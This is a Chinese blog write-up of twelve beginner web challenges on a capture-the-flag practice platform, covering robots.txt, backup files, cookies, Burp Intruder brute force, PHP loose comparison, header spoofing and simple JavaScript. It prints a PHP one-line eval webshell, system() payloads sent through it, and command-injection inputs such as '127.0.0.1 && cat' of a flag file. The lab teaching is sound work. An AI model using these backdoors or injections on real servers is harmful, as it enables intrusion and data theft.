攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

1.ViewSource

题如其名

Fn + F12

2.get post

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

3.robots

robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

于是扫描根目录:

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

4.backup

打开:

攻防世界Web刷题记录(新手区)

常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history .bkf

如111.200.241.244:33798/index.php.bak

攻防世界Web刷题记录(新手区)

5.Cookie

Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理。

那么cookie在哪里?

攻防世界Web刷题记录(新手区)

访问http://111.198.29.45:47911/cookie.php,提示查看http响应包,在网络一栏,可看到访问cookie.php的数据包

攻防世界Web刷题记录(新手区)

点击查看数据包,在消息头内可发现flag

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)

6.disabled_button

按钮按不下去,查看源码

攻防世界Web刷题记录(新手区)

input标签有个disable属性

disabled 属性规定应该禁用的 <input>元素。被禁用的 input 元素是无法使用和无法点击的。

删除源码中的disable属性,按钮即可点击,然后得到Flag。

攻防世界Web刷题记录(新手区)

7.weak_auth

攻防世界Web刷题记录(新手区)

小宁写了一个登陆验证页面,随手就设了一个密码,猜测用户名为admin,密码为123456

得到flag

Burpsuite解法:

随便输入密码,用bp截下发送过去的数据包

攻防世界Web刷题记录(新手区)

发送到Intruder,设定payload

攻防世界Web刷题记录(新手区)

攻防世界Web刷题记录(新手区)结果:

攻防世界Web刷题记录(新手区)

Burpsuite四种攻击类型:

一 、Sniper模式

  Sniper模式使用一组payload集合,它一次只使用一个payload位置,假设你标记了两个位置“A”和“B”,payload值为“1”和“2”,那么它攻击会形成以下组合(除原始数据外):

攻击序列 位置A 位置B
1 1 no replace
2 2 no replace
3 no replace 1
4 no replace 2

  这种模式主要适用于:竞争条件测试(选择Null payloads),密码、验证码暴力破解,重放攻击等场景

二、Battering ram模式

  Battering ram模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。

攻击序列 位置1 位置2
1 payload1 payload1
2 payload2 payload2

  这种模式主要适用于:撞

三、Pitchfork模式

  草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合,假设有两个位置“A”和“B”,payload组合1的值为“1”和“2”,payload组合2的值为“3”和“4”,则攻击模式如下:

攻击序列 位置A 位置B
1 payload1 payload3
2 payload2 payload4

  这种模式主要适用于:恶意注册

四、Cluster bomb模式

  集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积,还是上面的例子,如果用集束炸弹模式进行攻击,则除baseline请求外,会有四次请求:

攻击序列 位置A 位置B
1 payload1 payload3
2 payload1 payload4
3 payload2 payload3
4 payload2 payload4

8.simple_php

考点:

攻防世界Web刷题记录(新手区)

“php" == 0结果为TRUE,故“php” == 0 and "php"为TRUE,此处php可为其他任意字符串

第二处考点类似,填入b=1235a即可绕过

is_numeric() 函数用于检测变量是否为数字或数字字符串。

攻防世界Web刷题记录(新手区)

php弱类型比较小结

php中有两种比较的符号 == 与 ===

1 <?php
2 $a = $b ;
3 $a===$b ;
4 ?>

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

这里明确了说如果一个数值和字符串进行比较的时候,会将字符串转换成数值

1 <?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true
7 ?> //上述代码可自行测试
1 观察上述代码,"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
2 "1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0,为什么呢?见下
3 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

对于上述的问题我查了php手册

当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 <?php
2 $test=1 + "10.5"; // $test=11.5(float)
3 $test=1+"-1.3e3"; //$test=-1299(float)
4 $test=1+"bob-1.3e3";//$test=1(int)
5 $test=1+"2admin";//$test=3(int)
6 $test=1+"admin2";//$test=1(int)
7 ?>

所以就解释了"admin1"==1 =>False 的原因

9.xff_referer

点开看到:

攻防世界Web刷题记录(新手区)

XFF漏洞也称为IP欺骗。

有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。

如:

X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1

故:修改XFF头的信息,即可绕过服务器的过滤。

右键发送到repeater,并在包尾添加X-Forwarded-For: 123.123.123.123,发送

攻防世界Web刷题记录(新手区)

收到回应:必须来自https://www.google.com

攻防世界Web刷题记录(新手区)

在包尾添加:Referer: https://www.google.com

攻防世界Web刷题记录(新手区)

得到flag:

攻防世界Web刷题记录(新手区)

10.Webshell

前情提要:一句话木马工作原理

<?php @eval($_POST['shell']);?>

这是php的一句话后门中最普遍的一种。它的工作原理是:

首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

实例:

<?php @eval($_POST['shell']);?>

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

攻防世界Web刷题记录(新手区)

解法1:使用HackBar

POST:shell=system("find / -name 'flag*'");//在系统中查找名字中带有flag的文件并显示路径

攻防世界Web刷题记录(新手区)

继续POST:shell= system(“cat /var/www/html/flag.txt”);

得到flag:

攻防世界Web刷题记录(新手区)

解法2:使用Burpsuite

同理,拦截到页面请求,将其转到Repeater,并在最下方加入请求参数:shell = system(“find / -name ‘flag*’”);

攻防世界Web刷题记录(新手区)

查看Response,最下方有目标文件路径:

攻防世界Web刷题记录(新手区)

修改Repeater中的请求参数为:shell= system(“cat /var/www/html/flag.txt”);

攻防世界Web刷题记录(新手区)

查看Respond中的flag:

攻防世界Web刷题记录(新手区)

解法3:使用蚁剑

如图所示

攻防世界Web刷题记录(新手区)

连接后即可看到flag

攻防世界Web刷题记录(新手区)

11.command_execution

本题考的是命令执行漏洞方面的知识。

首先,我们要知道命令执行漏洞是什么:

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

比如题目中,直接把用户输入的参数不经过过滤直接放在ping命令之后,而恶意攻击者可以在输入的参数中用&&截断,而执行下一个恶意命令

常见的连接符有:

常见连接符 举例 效果
; A;B 先执行A,再执行B
& A&B 简单拼接,A B之间无制约关系
| A|B 显示B的执行结果
&& A&&B A执行成功,然后才会执行B
|| A||B A执行失败,然后才会执行B

ping本机,有回显:

攻防世界Web刷题记录(新手区)

再输入:127.0.0.1 && find / -name "flag*"

相当于ping -c 127.0.0.1 && find / -name "flag*";在成功执行ping 127.0.0.1命令后,执行在本地找flag的指令

攻防世界Web刷题记录(新手区)

于是cat flag:

输入127.0.0.1 && cat "/home/flag.txt",得到flag:

攻防世界Web刷题记录(新手区)

12.simple_js

输错密码,检查元素,发现js代码

攻防世界Web刷题记录(新手区)

function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";//FAUX PASSWORD HAHA
var tab = pass_enc.split(',');//split() 方法用于把一个字符串分割成字符串数组。
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password');
alert( dechiffre(h) );

发现无论输入什么密码,都会提示FAUX PASSWORD HAHA

由于String["fromCharCode"](xxx)String.fromCharCode(xxx)是一样的

所以那段话就是将一串16进制转成ascii码再转成字符,即得到flag

上一篇:攻防世界Web刷题记录(进阶区)


下一篇:Java并发编程初探